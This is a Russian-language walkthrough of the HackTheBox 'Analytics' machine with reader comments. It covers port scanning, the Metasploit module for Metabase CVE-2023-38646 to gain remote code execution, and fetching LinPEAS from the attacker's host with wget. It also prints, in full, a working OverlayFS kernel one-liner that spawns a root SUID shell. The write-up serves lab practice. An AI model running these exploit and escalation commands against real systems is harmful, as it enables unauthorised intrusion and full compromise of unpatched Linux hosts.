Приветствую, кулхацкеры. Сегодяшний райт будет посвящен взлом Linux - машины с HackTheBox под названием Analytics.

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Сканирование и разведка

Как всегда начинаем со сканирования для выявления активных сервисов.

nmap -sC -sV -Pn -p- -T4 10.10.11.233

Получаем первичный доступ с помощью Metasploit

По результатам сканирования можно заметить, что на 80 порту висит веб-сервис. Попробуем перейти на веб страницу:

Это Metabase. Посерфив на просторах интернета, найдем для него эксплойт. Уязвимость имеет идентификатор CVE-2023-38646 и приводит к удаленному исполнению кода. Как раз то, что нужно для получения первичного доступа. Эксплойт можно найти как на GitHub, так и в Metasploit. Лично я запущу эксплойт в Metasploit:

use exploit/linux/http/metabase_setup_token_rce

Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server и через wget скачаем нужный нам скрипт:

python3 -m http.server 80
wget http://10.10.16.68/linpeas.sh

Запустим LinPEAS:

bash ./linpeas.sh

Отработав, скрипт найдет креды для подключения по SSH:

Подключимся к машине с помощью ssh:

ssh metalytics@10.10.11.233

Здесь же будет находиться флаг user.txt

Повышение привилегий

Точно также запустим python3 http.server, перекинем через wget LinPEAS и запустим его на машине:

После отработки скрипта определим версию Ubuntu и найдем под нее уязвимость для повышения привилегий. Либо можно определить версию ОС с помощью cat /etc/os-release. Уязвимость для повышения привилегий связана с расхождениями в реализации модуля OverlayFS в ядре Linux. OverlayFS - это реализация файловой системы с объединенным монтированием, которая становится предметом внимания злоумышленников из-за возможности получения непривилегированного доступа через пространства имен пользователей и наличия легко эксплуатируемых ошибок. Скопируем нагрузку с эксплойта и запустим ее для повышения привилегий:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

Машина пройдена!

Комментарии (10)


  1. 3ycb
    15.11.2023 20:27

    Это Metabase

    А если бы не было этого сервиса на машине, то что?


    1. ap_security Автор
      15.11.2023 20:27
      +1

      то не было бы и самой машины)
      в данном случае первичный доступ только через этот сервис


      1. 3ycb
        15.11.2023 20:27

        Спасибо за ответ. Я спросил без подвоха. Я обычный обыватель, не IT и спрашиваю, чтобы уяснить. Это было задание на проникновение с определенным сервисом на борту? Не просто на любую произвольную Линукс систему? Правильно?


        1. ap_security Автор
          15.11.2023 20:27
          +1

          все верно


          1. 3ycb
            15.11.2023 20:27

            Не сочтите за занудство, я не настоящий сварщик. Несколько раз перечитываю Вашу статью и не въезжаю. Уточните пожалуйста, что я неправильно понимаю.

            1. Целевая, подопытная машина 10.10.11.234 которую Вы сканируете на предмет открытых портов с машины(kali) 10.10.16.68 и находите на ней вебсервисMetabase, для которого есть эксплоит.

            2. Запускаете эксплойт где? На Вашей "хакерской" машине kali-10.10.16.68 через порт 4444 для доступа к целевой машине? Тогда почему на картинке Вы к другой машине 10.10.11.233 обращаетесь? А если этот порт 4444 закрыт вообще? Или я вообще не правильно все понимаю?

            3. Далее, я вообще потерялся. "Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server и через wget скачаем нужный нам скрипт:" На какую машину закинуть LinPEAS? На свою kali или машину жертву? Поэтому, где запускаем http.server? На kali? и качаем через wget http://10.10.16.68/linpeas.sh, но ведь kali и есть 10.10.16.68 Сами себе качаем что-ли? Вы бы как-то отредактировали бы пост, чтобы не было разночтений и непонимания, что есть что(но с поправкой, что я неправильно все понимаю)

            4. Отработав, скрипт найдет креды для подключения по SSH: Что такое креды?

            5. Далее есть еще вопросы, но пожалуйста сначала эти разъясните.


            1. ap_security Автор
              15.11.2023 20:27
              +1

              да был небольшой недочет. Мы обращаемся к машине по адресу 10.10.11.233! Чтобы отпали ваши вопросы, почитайте как работает wget. И зачем нам запускать LinPEAS на своей машине? Зачем нам повышать привилегии на своей же машине? Ознакомьтесь с базовыми понятиями и работой сетевых технологий


              1. 3ycb
                15.11.2023 20:27

                Базовые понятия я знаю и как wget работает тоже. Не понятно Ваше описание. И что такое креды? Вы же для людей пишите, а не на отъебись. Вы свой сленг знаете, а читатель нет. Почему нельзя общепринятыми терминами изъясняться?


                1. 3ycb
                  15.11.2023 20:27

                  И зачем нам запускать LinPEAS на своей машине? Зачем нам повышать привилегии на своей же машине?

                  Вот я и отмечаю. У Вас это не явно указано. Отсюда каша.

                  Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server и через wget скачаем нужный нам скрипт:"

                  Наша ОС, это наша машина или машина жертва? Ведь наша же, kali которая.

                  и сразу, в этом же предложении "И скачаем скрипт" Но скрипт нужен на жертве же? A как мы уже на жертве можем запускать wget? Мы уже на ней? Как? Когда? Где это у Вас явно отмечено? Как мы запускаем wget http://10.10.16.68/linpeas.sh на жертве, если мы еще к ней не подключены по ssh?

                  И Вы не ответили про порт 4444. Он на жертве открыт? или что? А если закрыт, то как на жертву пробросить эксплойт?


              1. 3ycb
                15.11.2023 20:27

                Здесь же будет находится флаг user.txt

                Наверное файл, а не флаг? И файл будет(что делатЬ) находитЬся.

                Или Вы имели в виду, "Здесь же находится файл...", без слова будет?

                И что? Что это за файл такой user.txt? Зачем вы его упомянули? Если он нужен зачем-то, то объясните, зачем?


  1. 3ycb
    15.11.2023 20:27

    Что если в машине жертве подключение в ssh не по паролю, а по ключу?